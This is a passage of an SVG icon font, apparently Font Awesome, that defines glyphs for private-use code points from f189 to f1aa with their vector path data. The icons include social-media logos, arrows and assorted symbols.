<glyph unicode="&#xf189;" horiz-adv-x="1920" d="M1917 1016q23 -64 -150 -294q-24 -32 -65 -85q-78 -100 -90 -131q-17 -41 14 -81q17 -21 81 -82h1l1 -1l1 -1l2 -2q141 -131 191 -221q3 -5 6.5 -12.5t7 -26.5t-0.5 -34t-25 -27.5t-59 -12.5l-256 -4q-24 -5 -56 5t-52 22l-20 12q-30 21 -70 64t-68.5 77.5t-61 58 t-56.5 15.5q-3 -1 -8 -3.5t-17 -14.5t-21.5 -29.5t-17 -52t-6.5 -77.5q0 -15 -3.5 -27.5t-7.5 -18.5l-4 -5q-18 -19 -53 -22h-115q-71 -4 -146 16.5t-131.5 53t-103 66t-70.5 57.5l-25 24q-10 10 -27.5 30t-71.5 91t-106 151t-122.5 211t-130.5 272q-6 16 -6 27t3 16l4 6 q15 19 57 19l274 2q12 -2 23 -6.5t16 -8.5l5 -3q16 -11 24 -32q20 -50 46 -103.5t41 -81.5l16 -29q29 -60 56 -104t48.5 -68.5t41.5 -38.5t34 -14t27 5q2 1 5 5t12 22t13.5 47t9.5 81t0 125q-2 40 -9 73t-14 46l-6 12q-25 34 -85 43q-13 2 5 24q17 19 38 30q53 26 239 24 q82 -1 135 -13q20 -5 33.5 -13.5t20.5 -24t10.5 -32t3.5 -45.5t-1 -55t-2.5 -70.5t-1.5 -82.5q0 -11 -1 -42t-0.5 -48t3.5 -40.5t11.5 -39t22.5 -24.5q8 -2 17 -4t26 11t38 34.5t52 67t68 107.5q60 104 107 225q4 10 10 17.5t11 10.5l4 3l5 2.5t13 3t20 0.5l288 2 q39 5 64 -2.5t31 -16.5z" />
<glyph unicode="&#xf18a;" horiz-adv-x="1792" d="M675 252q21 34 11 69t-45 50q-34 14 -73 1t-60 -46q-22 -34 -13 -68.5t43 -50.5t74.5 -2.5t62.5 47.5zM769 373q8 13 3.5 26.5t-17.5 18.5q-14 5 -28.5 -0.5t-21.5 -18.5q-17 -31 13 -45q14 -5 29 0.5t22 18.5zM943 266q-45 -102 -158 -150t-224 -12 q-107 34 -147.5 126.5t6.5 187.5q47 93 151.5 139t210.5 19q111 -29 158.5 -119.5t2.5 -190.5zM1255 426q-9 96 -89 170t-208.5 109t-274.5 21q-223 -23 -369.5 -141.5t-132.5 -264.5q9 -96 89 -170t208.5 -109t274.5 -21q223 23 369.5 141.5t132.5 264.5zM1563 422 q0 -68 -37 -139.5t-109 -137t-168.5 -117.5t-226 -83t-270.5 -31t-275 33.5t-240.5 93t-171.5 151t-65 199.5q0 115 69.5 245t197.5 258q169 169 341.5 236t246.5 -7q65 -64 20 -209q-4 -14 -1 -20t10 -7t14.5 0.5t13.5 3.5l6 2q139 59 246 59t153 -61q45 -63 0 -178 q-2 -13 -4.5 -20t4.5 -12.5t12 -7.5t17 -6q57 -18 103 -47t80 -81.5t34 -116.5zM1489 1046q42 -47 54.5 -108.5t-6.5 -117.5q-8 -23 -29.5 -34t-44.5 -4q-23 8 -34 29.5t-4 44.5q20 63 -24 111t-107 35q-24 -5 -45 8t-25 37q-5 24 8 44.5t37 25.5q60 13 119 -5.5t101 -65.5z M1670 1209q87 -96 112.5 -222.5t-13.5 -241.5q-9 -27 -34 -40t-52 -4t-40 34t-5 52q28 82 10 172t-80 158q-62 69 -148 95.5t-173 8.5q-28 -6 -52 9.5t-30 43.5t9.5 51.5t43.5 29.5q123 26 244 -11.5t208 -134.5z" />
<glyph unicode="&#xf18b;" d="M1133 -34q-171 -94 -368 -94q-196 0 -367 94q138 87 235.5 211t131.5 268q35 -144 132.5 -268t235.5 -211zM638 1394v-485q0 -252 -126.5 -459.5t-330.5 -306.5q-181 215 -181 495q0 187 83.5 349.5t229.5 269.5t325 137zM1536 638q0 -280 -181 -495 q-204 99 -330.5 306.5t-126.5 459.5v485q179 -30 325 -137t229.5 -269.5t83.5 -349.5z" />
<glyph unicode="&#xf18c;" horiz-adv-x="1408" d="M1402 433q-32 -80 -76 -138t-91 -88.5t-99 -46.5t-101.5 -14.5t-96.5 8.5t-86.5 22t-69.5 27.5t-46 22.5l-17 10q-113 -228 -289.5 -359.5t-384.5 -132.5q-19 0 -32 13t-13 32t13 31.5t32 12.5q173 1 322.5 107.5t251.5 294.5q-36 -14 -72 -23t-83 -13t-91 2.5t-93 28.5 t-92 59t-84.5 100t-74.5 146q114 47 214 57t167.5 -7.5t124.5 -56.5t88.5 -77t56.5 -82q53 131 79 291q-7 -1 -18 -2.5t-46.5 -2.5t-69.5 0.5t-81.5 10t-88.5 23t-84 42.5t-75 65t-54.5 94.5t-28.5 127.5q70 28 133.5 36.5t112.5 -1t92 -30t73.5 -50t56 -61t42 -63t27.5 -56 t16 -39.5l4 -16q12 122 12 195q-8 6 -21.5 16t-49 44.5t-63.5 71.5t-54 93t-33 112.5t12 127t70 138.5q73 -25 127.5 -61.5t84.5 -76.5t48 -85t20.5 -89t-0.5 -85.5t-13 -76.5t-19 -62t-17 -42l-7 -15q1 -5 1 -50.5t-1 -71.5q3 7 10 18.5t30.5 43t50.5 58t71 55.5t91.5 44.5 t112 14.5t132.5 -24q-2 -78 -21.5 -141.5t-50 -104.5t-69.5 -71.5t-81.5 -45.5t-84.5 -24t-80 -9.5t-67.5 1t-46.5 4.5l-17 3q-23 -147 -73 -283q6 7 18 18.5t49.5 41t77.5 52.5t99.5 42t117.5 20t129 -23.5t137 -77.5z" />
<glyph unicode="&#xf18d;" horiz-adv-x="1280" d="M1259 283v-66q0 -85 -57.5 -144.5t-138.5 -59.5h-57l-260 -269v269h-529q-81 0 -138.5 59.5t-57.5 144.5v66h1238zM1259 609v-255h-1238v255h1238zM1259 937v-255h-1238v255h1238zM1259 1077v-67h-1238v67q0 84 57.5 143.5t138.5 59.5h846q81 0 138.5 -59.5t57.5 -143.5z " />
<glyph unicode="&#xf18e;" d="M1152 640q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198 t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf190;" d="M1152 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-192q0 -14 -9 -23t-23 -9q-12 0 -24 10l-319 319q-9 9 -9 23t9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h352q13 0 22.5 -9.5t9.5 -22.5zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198 t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf191;" d="M1024 960v-640q0 -26 -19 -45t-45 -19q-20 0 -37 12l-448 320q-27 19 -27 52t27 52l448 320q17 12 37 12q26 0 45 -19t19 -45zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5z M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf192;" d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5 t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf193;" horiz-adv-x="1664" d="M1023 349l102 -204q-58 -179 -210 -290t-339 -111q-156 0 -288.5 77.5t-210 210t-77.5 288.5q0 181 104.5 330t274.5 211l17 -131q-122 -54 -195 -165.5t-73 -244.5q0 -185 131.5 -316.5t316.5 -131.5q126 0 232.5 65t165 175.5t49.5 236.5zM1571 249l58 -114l-256 -128 q-13 -7 -29 -7q-40 0 -57 35l-239 477h-472q-24 0 -42.5 16.5t-21.5 40.5l-96 779q-2 16 6 42q14 51 57 82.5t97 31.5q66 0 113 -47t47 -113q0 -69 -52 -117.5t-120 -41.5l37 -289h423v-128h-407l16 -128h455q40 0 57 -35l228 -455z" />
<glyph unicode="&#xf194;" d="M1292 898q10 216 -161 222q-231 8 -312 -261q44 19 82 19q85 0 74 -96q-4 -57 -74 -167t-105 -110q-43 0 -82 169q-13 54 -45 255q-30 189 -160 177q-59 -7 -164 -100l-81 -72l-81 -72l52 -67q76 52 87 52q57 0 107 -179q15 -55 45 -164.5t45 -164.5q68 -179 164 -179 q157 0 383 294q220 283 226 444zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf195;" horiz-adv-x="1152" d="M1152 704q0 -191 -94.5 -353t-256.5 -256.5t-353 -94.5h-160q-14 0 -23 9t-9 23v611l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v93l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v250q0 14 9 23t23 9h160 q14 0 23 -9t9 -23v-181l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-93l375 116q15 5 28 -5t13 -26v-128q0 -23 -23 -31l-393 -121v-487q188 13 318 151t130 328q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
<glyph unicode="&#xf196;" horiz-adv-x="1408" d="M1152 736v-64q0 -14 -9 -23t-23 -9h-352v-352q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v352h-352q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h352v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-352h352q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832 q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf197;" horiz-adv-x="2176" d="M620 416q-110 -64 -268 -64h-128v64h-64q-13 0 -22.5 23.5t-9.5 56.5q0 24 7 49q-58 2 -96.5 10.5t-38.5 20.5t38.5 20.5t96.5 10.5q-7 25 -7 49q0 33 9.5 56.5t22.5 23.5h64v64h128q158 0 268 -64h1113q42 -7 106.5 -18t80.5 -14q89 -15 150 -40.5t83.5 -47.5t22.5 -40 t-22.5 -40t-83.5 -47.5t-150 -40.5q-16 -3 -80.5 -14t-106.5 -18h-1113zM1739 668q53 -36 53 -92t-53 -92l81 -30q68 48 68 122t-68 122zM625 400h1015q-217 -38 -456 -80q-57 0 -113 -24t-83 -48l-28 -24l-288 -288q-26 -26 -70.5 -45t-89.5 -19h-96l-93 464h29 q157 0 273 64zM352 816h-29l93 464h96q46 0 90 -19t70 -45l288 -288q4 -4 11 -10.5t30.5 -23t48.5 -29t61.5 -23t72.5 -10.5l456 -80h-1015q-116 64 -273 64z" />
<glyph unicode="&#xf198;" horiz-adv-x="1664" d="M1519 760q62 0 103.5 -40.5t41.5 -101.5q0 -97 -93 -130l-172 -59l56 -167q7 -21 7 -47q0 -59 -42 -102t-101 -43q-47 0 -85.5 27t-53.5 72l-55 165l-310 -106l55 -164q8 -24 8 -47q0 -59 -42 -102t-102 -43q-47 0 -85 27t-53 72l-55 163l-153 -53q-29 -9 -50 -9 q-61 0 -101.5 40t-40.5 101q0 47 27.5 85t71.5 53l156 53l-105 313l-156 -54q-26 -8 -48 -8q-60 0 -101 40.5t-41 100.5q0 47 27.5 85t71.5 53l157 53l-53 159q-8 24 -8 47q0 60 42 102.5t102 42.5q47 0 85 -27t53 -72l54 -160l310 105l-54 160q-8 24 -8 47q0 59 42.5 102 t101.5 43q47 0 85.5 -27.5t53.5 -71.5l53 -161l162 55q21 6 43 6q60 0 102.5 -39.5t42.5 -98.5q0 -45 -30 -81.5t-74 -51.5l-157 -54l105 -316l164 56q24 8 46 8zM725 498l310 105l-105 315l-310 -107z" />
<glyph unicode="&#xf199;" d="M1248 1408q119 0 203.5 -84.5t84.5 -203.5v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960zM1280 352v436q-31 -35 -64 -55q-34 -22 -132.5 -85t-151.5 -99q-98 -69 -164 -69v0v0q-66 0 -164 69 q-46 32 -141.5 92.5t-142.5 92.5q-12 8 -33 27t-31 27v-436q0 -40 28 -68t68 -28h832q40 0 68 28t28 68zM1280 925q0 41 -27.5 70t-68.5 29h-832q-40 0 -68 -28t-28 -68q0 -37 30.5 -76.5t67.5 -64.5q47 -32 137.5 -89t129.5 -83q3 -2 17 -11.5t21 -14t21 -13t23.5 -13 t21.5 -9.5t22.5 -7.5t20.5 -2.5t20.5 2.5t22.5 7.5t21.5 9.5t23.5 13t21 13t21 14t17 11.5l267 174q35 23 66.5 62.5t31.5 73.5z" />
<glyph unicode="&#xf19a;" horiz-adv-x="1792" d="M127 640q0 163 67 313l367 -1005q-196 95 -315 281t-119 411zM1415 679q0 -19 -2.5 -38.5t-10 -49.5t-11.5 -44t-17.5 -59t-17.5 -58l-76 -256l-278 826q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-75 1 -202 10q-12 1 -20.5 -5t-11.5 -15t-1.5 -18.5t9 -16.5 t19.5 -8l80 -8l120 -328l-168 -504l-280 832q46 3 88 8q19 2 26 18.5t-2.5 31t-28.5 13.5l-205 -10q-7 0 -23 0.5t-26 0.5q105 160 274.5 253.5t367.5 93.5q147 0 280.5 -53t238.5 -149h-10q-55 0 -92 -40.5t-37 -95.5q0 -12 2 -24t4 -21.5t8 -23t9 -21t12 -22.5t12.5 -21 t14.5 -24t14 -23q63 -107 63 -212zM909 573l237 -647q1 -6 5 -11q-126 -44 -255 -44q-112 0 -217 32zM1570 1009q95 -174 95 -369q0 -209 -104 -385.5t-279 -278.5l235 678q59 169 59 276q0 42 -6 79zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286 t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM896 -215q173 0 331.5 68t273 182.5t182.5 273t68 331.5t-68 331.5t-182.5 273t-273 182.5t-331.5 68t-331.5 -68t-273 -182.5t-182.5 -273t-68 -331.5t68 -331.5t182.5 -273 t273 -182.5t331.5 -68z" />
<glyph unicode="&#xf19b;" horiz-adv-x="1792" d="M1086 1536v-1536l-272 -128q-228 20 -414 102t-293 208.5t-107 272.5q0 140 100.5 263.5t275 205.5t391.5 108v-172q-217 -38 -356.5 -150t-139.5 -255q0 -152 154.5 -267t388.5 -145v1360zM1755 954l37 -390l-525 114l147 83q-119 70 -280 99v172q277 -33 481 -157z" />
<glyph unicode="&#xf19c;" horiz-adv-x="2048" d="M960 1536l960 -384v-128h-128q0 -26 -20.5 -45t-48.5 -19h-1526q-28 0 -48.5 19t-20.5 45h-128v128zM256 896h256v-768h128v768h256v-768h128v768h256v-768h128v768h256v-768h59q28 0 48.5 -19t20.5 -45v-64h-1664v64q0 26 20.5 45t48.5 19h59v768zM1851 -64 q28 0 48.5 -19t20.5 -45v-128h-1920v128q0 26 20.5 45t48.5 19h1782z" />
<glyph unicode="&#xf19d;" horiz-adv-x="2304" d="M1774 700l18 -316q4 -69 -82 -128t-235 -93.5t-323 -34.5t-323 34.5t-235 93.5t-82 128l18 316l574 -181q22 -7 48 -7t48 7zM2304 1024q0 -23 -22 -31l-1120 -352q-4 -1 -10 -1t-10 1l-652 206q-43 -34 -71 -111.5t-34 -178.5q63 -36 63 -109q0 -69 -58 -107l58 -433 q2 -14 -8 -25q-9 -11 -24 -11h-192q-15 0 -24 11q-10 11 -8 25l58 433q-58 38 -58 107q0 73 65 111q11 207 98 330l-333 104q-22 8 -22 31t22 31l1120 352q4 1 10 1t10 -1l1120 -352q22 -8 22 -31z" />
<glyph unicode="&#xf19e;" d="M859 579l13 -707q-62 11 -105 11q-41 0 -105 -11l13 707q-40 69 -168.5 295.5t-216.5 374.5t-181 287q58 -15 108 -15q43 0 111 15q63 -111 133.5 -229.5t167 -276.5t138.5 -227q37 61 109.5 177.5t117.5 190t105 176t107 189.5q54 -14 107 -14q56 0 114 14v0 q-28 -39 -60 -88.5t-49.5 -78.5t-56.5 -96t-49 -84q-146 -248 -353 -610z" />
<glyph unicode="&#xf1a0;" d="M768 750h725q12 -67 12 -128q0 -217 -91 -387.5t-259.5 -266.5t-386.5 -96q-157 0 -299 60.5t-245 163.5t-163.5 245t-60.5 299t60.5 299t163.5 245t245 163.5t299 60.5q300 0 515 -201l-209 -201q-123 119 -306 119q-129 0 -238.5 -65t-173.5 -176.5t-64 -243.5 t64 -243.5t173.5 -176.5t238.5 -65q87 0 160 24t120 60t82 82t51.5 87t22.5 78h-436v264z" />
<glyph unicode="&#xf1a1;" horiz-adv-x="1792" d="M1095 369q16 -16 0 -31q-62 -62 -199 -62t-199 62q-16 15 0 31q6 6 15 6t15 -6q48 -49 169 -49q120 0 169 49q6 6 15 6t15 -6zM788 550q0 -37 -26 -63t-63 -26t-63.5 26t-26.5 63q0 38 26.5 64t63.5 26t63 -26.5t26 -63.5zM1183 550q0 -37 -26.5 -63t-63.5 -26t-63 26 t-26 63t26 63.5t63 26.5t63.5 -26t26.5 -64zM1434 670q0 49 -35 84t-85 35t-86 -36q-130 90 -311 96l63 283l200 -45q0 -37 26 -63t63 -26t63.5 26.5t26.5 63.5t-26.5 63.5t-63.5 26.5q-54 0 -80 -50l-221 49q-19 5 -25 -16l-69 -312q-180 -7 -309 -97q-35 37 -87 37 q-50 0 -85 -35t-35 -84q0 -35 18.5 -64t49.5 -44q-6 -27 -6 -56q0 -142 140 -243t337 -101q198 0 338 101t140 243q0 32 -7 57q30 15 48 43.5t18 63.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191 t348 71t348 -71t286 -191t191 -286t71 -348z" />
<glyph unicode="&#xf1a2;" d="M939 407q13 -13 0 -26q-53 -53 -171 -53t-171 53q-13 13 0 26q5 6 13 6t13 -6q42 -42 145 -42t145 42q5 6 13 6t13 -6zM676 563q0 -31 -23 -54t-54 -23t-54 23t-23 54q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1014 563q0 -31 -23 -54t-54 -23t-54 23t-23 54 q0 32 22.5 54.5t54.5 22.5t54.5 -22.5t22.5 -54.5zM1229 666q0 42 -30 72t-73 30q-42 0 -73 -31q-113 78 -267 82l54 243l171 -39q1 -32 23.5 -54t53.5 -22q32 0 54.5 22.5t22.5 54.5t-22.5 54.5t-54.5 22.5q-48 0 -69 -43l-189 42q-17 5 -21 -13l-60 -268q-154 -6 -265 -83 q-30 32 -74 32q-43 0 -73 -30t-30 -72q0 -30 16 -55t42 -38q-5 -25 -5 -48q0 -122 120 -208.5t289 -86.5q170 0 290 86.5t120 208.5q0 25 -6 49q25 13 40.5 37.5t15.5 54.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960 q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf1a3;" d="M866 697l90 27v62q0 79 -58 135t-138 56t-138 -55.5t-58 -134.5v-283q0 -20 -14 -33.5t-33 -13.5t-32.5 13.5t-13.5 33.5v120h-151v-122q0 -82 57.5 -139t139.5 -57q81 0 138.5 56.5t57.5 136.5v280q0 19 13.5 33t33.5 14q19 0 32.5 -14t13.5 -33v-54zM1199 502v122h-150 v-126q0 -20 -13.5 -33.5t-33.5 -13.5q-19 0 -32.5 14t-13.5 33v123l-90 -26l-60 28v-123q0 -80 58 -137t139 -57t138.5 57t57.5 139zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103 t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf1a4;" horiz-adv-x="1920" d="M1062 824v118q0 42 -30 72t-72 30t-72 -30t-30 -72v-612q0 -175 -126 -299t-303 -124q-178 0 -303.5 125.5t-125.5 303.5v266h328v-262q0 -43 30 -72.5t72 -29.5t72 29.5t30 72.5v620q0 171 126.5 292t301.5 121q176 0 302 -122t126 -294v-136l-195 -58zM1592 602h328 v-266q0 -178 -125.5 -303.5t-303.5 -125.5q-177 0 -303 124.5t-126 300.5v268l131 -61l195 58v-270q0 -42 30 -71.5t72 -29.5t72 29.5t30 71.5v275z" />
<glyph unicode="&#xf1a5;" d="M1472 160v480h-704v704h-480q-93 0 -158.5 -65.5t-65.5 -158.5v-480h704v-704h480q93 0 158.5 65.5t65.5 158.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5 t84.5 -203.5z" />
<glyph unicode="&#xf1a6;" horiz-adv-x="2048" d="M328 1254h204v-983h-532v697h328v286zM328 435v369h-123v-369h123zM614 968v-697h205v697h-205zM614 1254v-204h205v204h-205zM901 968h533v-942h-533v163h328v82h-328v697zM1229 435v369h-123v-369h123zM1516 968h532v-942h-532v163h327v82h-327v697zM1843 435v369h-123 v-369h123z" />
<glyph unicode="&#xf1a7;" d="M1046 516q0 -64 -38 -109t-91 -45q-43 0 -70 15v277q28 17 70 17q53 0 91 -45.5t38 -109.5zM703 944q0 -64 -38 -109.5t-91 -45.5q-43 0 -70 15v277q28 17 70 17q53 0 91 -45t38 -109zM1265 513q0 134 -88 229t-213 95q-20 0 -39 -3q-23 -78 -78 -136q-87 -95 -211 -101 v-636l211 41v206q51 -19 117 -19q125 0 213 95t88 229zM922 940q0 134 -88.5 229t-213.5 95q-74 0 -141 -36h-186v-840l211 41v206q55 -19 116 -19q125 0 213.5 95t88.5 229zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960 q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf1a8;" horiz-adv-x="2038" d="M1222 607q75 3 143.5 -20.5t118 -58.5t101 -94.5t84 -108t75.5 -120.5q33 -56 78.5 -109t75.5 -80.5t99 -88.5q-48 -30 -108.5 -57.5t-138.5 -59t-114 -47.5q-44 37 -74 115t-43.5 164.5t-33 180.5t-42.5 168.5t-72.5 123t-122.5 48.5l-10 -2l-6 -4q4 -5 13 -14 q6 -5 28 -23.5t25.5 -22t19 -18t18 -20.5t11.5 -21t10.5 -27.5t4.5 -31t4 -40.5l1 -33q1 -26 -2.5 -57.5t-7.5 -52t-12.5 -58.5t-11.5 -53q-35 1 -101 -9.5t-98 -10.5q-39 0 -72 10q-2 16 -2 47q0 74 3 96q2 13 31.5 41.5t57 59t26.5 51.5q-24 2 -43 -24 q-36 -53 -111.5 -99.5t-136.5 -46.5q-25 0 -75.5 63t-106.5 139.5t-84 96.5q-6 4 -27 30q-482 -112 -513 -112q-16 0 -28 11t-12 27q0 15 8.5 26.5t22.5 14.5l486 106q-8 14 -8 25t5.5 17.5t16 11.5t20 7t23 4.5t18.5 4.5q4 1 15.5 7.5t17.5 6.5q15 0 28 -16t20 -33 q163 37 172 37q17 0 29.5 -11t12.5 -28q0 -15 -8.5 -26t-23.5 -14l-182 -40l-1 -16q-1 -26 81.5 -117.5t104.5 -91.5q47 0 119 80t72 129q0 36 -23.5 53t-51 18.5t-51 11.5t-23.5 34q0 16 10 34l-68 19q43 44 43 117q0 26 -5 58q82 16 144 16q44 0 71.5 -1.5t48.5 -8.5 t31 -13.5t20.5 -24.5t15.5 -33.5t17 -47.5t24 -60l50 25q-3 -40 -23 -60t-42.5 -21t-40 -6.5t-16.5 -20.5zM1282 842q-5 5 -13.5 15.5t-12 14.5t-10.5 11.5t-10 10.5l-8 8t-8.5 7.5t-8 5t-8.5 4.5q-7 3 -14.5 5t-20.5 2.5t-22 0.5h-32.5h-37.5q-126 0 -217 -43 q16 30 36 46.5t54 29.5t65.5 36t46 36.5t50 55t43.5 50.5q12 -9 28 -31.5t32 -36.5t38 -13l12 1v-76l22 -1q247 95 371 190q28 21 50 39t42.5 37.5t33 31t29.5 34t24 31t24.5 37t23 38t27 47.5t29.5 53l7 9q-2 -53 -43 -139q-79 -165 -205 -264t-306 -142q-14 -3 -42 -7.5 t-50 -9.5t-39 -14q3 -19 24.5 -46t21.5 -34q0 -11 -26 -30zM1061 -79q39 26 131.5 47.5t146.5 21.5q9 0 22.5 -15.5t28 -42.5t26 -50t24 -51t14.5 -33q-121 -45 -244 -45q-61 0 -125 11zM822 568l48 12l109 -177l-73 -48zM1323 51q3 -15 3 -16q0 -7 -17.5 -14.5t-46 -13 t-54 -9.5t-53.5 -7.5t-32 -4.5l-7 43q21 2 60.5 8.5t72 10t60.5 3.5h14zM866 679l-96 -20l-6 17q10 1 32.5 7t34.5 6q19 0 35 -10zM1061 45h31l10 -83l-41 -12v95zM1950 1535v1v-1zM1950 1535l-1 -5l-2 -2l1 3zM1950 1535l1 1z" />
<glyph unicode="&#xf1a9;" d="M1167 -50q-5 19 -24 5q-30 -22 -87 -39t-131 -17q-129 0 -193 49q-5 4 -13 4q-11 0 -26 -12q-7 -6 -7.5 -16t7.5 -20q34 -32 87.5 -46t102.5 -12.5t99 4.5q41 4 84.5 20.5t65 30t28.5 20.5q12 12 7 29zM1128 65q-19 47 -39 61q-23 15 -76 15q-47 0 -71 -10 q-29 -12 -78 -56q-26 -24 -12 -44q9 -8 17.5 -4.5t31.5 23.5q3 2 10.5 8.5t10.5 8.5t10 7t11.5 7t12.5 5t15 4.5t16.5 2.5t20.5 1q27 0 44.5 -7.5t23 -14.5t13.5 -22q10 -17 12.5 -20t12.5 1q23 12 14 34zM1483 346q0 22 -5 44.5t-16.5 45t-34 36.5t-52.5 14 q-33 0 -97 -41.5t-129 -83.5t-101 -42q-27 -1 -63.5 19t-76 49t-83.5 58t-100 49t-111 19q-115 -1 -197 -78.5t-84 -178.5q-2 -112 74 -164q29 -20 62.5 -28.5t103.5 -8.5q57 0 132 32.5t134 71t120 70.5t93 31q26 -1 65 -31.5t71.5 -67t68 -67.5t55.5 -32q35 -3 58.5 14 t55.5 63q28 41 42.5 101t14.5 106zM1536 506q0 -164 -62 -304.5t-166 -236t-242.5 -149.5t-290.5 -54t-293 57.5t-247.5 157t-170.5 241.5t-64 302q0 89 19.5 172.5t49 145.5t70.5 118.5t78.5 94t78.5 69.5t64.5 46.5t42.5 24.5q14 8 51 26.5t54.5 28.5t48 30t60.5 44 q36 28 58 72.5t30 125.5q129 -155 186 -193q44 -29 130 -68t129 -66q21 -13 39 -25t60.5 -46.5t76 -70.5t75 -95t69 -122t47 -148.5t19.5 -177.5z" />
<glyph unicode="&#xf1aa;" d="M1070 463l-160 -160l-151 -152l-30 -30q-65 -64 -151.5 -87t-171.5 -2q-16 -70 -72 -115t-129 -45q-85 0 -145 60.5t-60 145.5q0 72 44.5 128t113.5 72q-22 86 1 173t88 152l12 12l151 -152l-11 -11q-37 -37 -37 -89t37 -90q37 -37 89 -37t89 37l30 30l151 152l161 160z M729 1145l12 -12l-152 -152l-12 12q-37 37 -89 37t-89 -37t-37 -89.5t37 -89.5l29 -29l152 -152l160 -160l-151 -152l-161 160l-151 152l-30 30q-68 67 -90 159.5t5 179.5q-70 15 -115 71t-45 129q0 85 60 145.5t145 60.5q76 0 133.5 -49t69.5 -123q84 20 169.5 -3.5 t149.5 -87.5zM1536 78q0 -85 -60 -145.5t-145 -60.5q-74 0 -131 47t-71 118q-86 -28 -179.5 -6t-161.5 90l-11 12l151 152l12 -12q37 -37 89 -37t89 37t37 89t-37 89l-30 30l-152 152l-160 160l152 152l160 -160l152 -152l29 -30q64 -64 87.5 -150.5t2.5 -171.5 q76 -11 126.5 -68.5t50.5 -134.5zM1534 1202q0 -77 -51 -135t-127 -69q26 -85 3 -176.5t-90 -158.5l-12 -12l-151 152l12 12q37 37 37 89t-37 89t-89 37t-89 -37l-30 -30l-152 -152l-160 -160l-152 152l161 160l152 152l29 30q67 67 159 89.5t178 -3.5q11 75 68.5 126 t135.5 51q85 0 145 -60.5t60 -145.5z" />
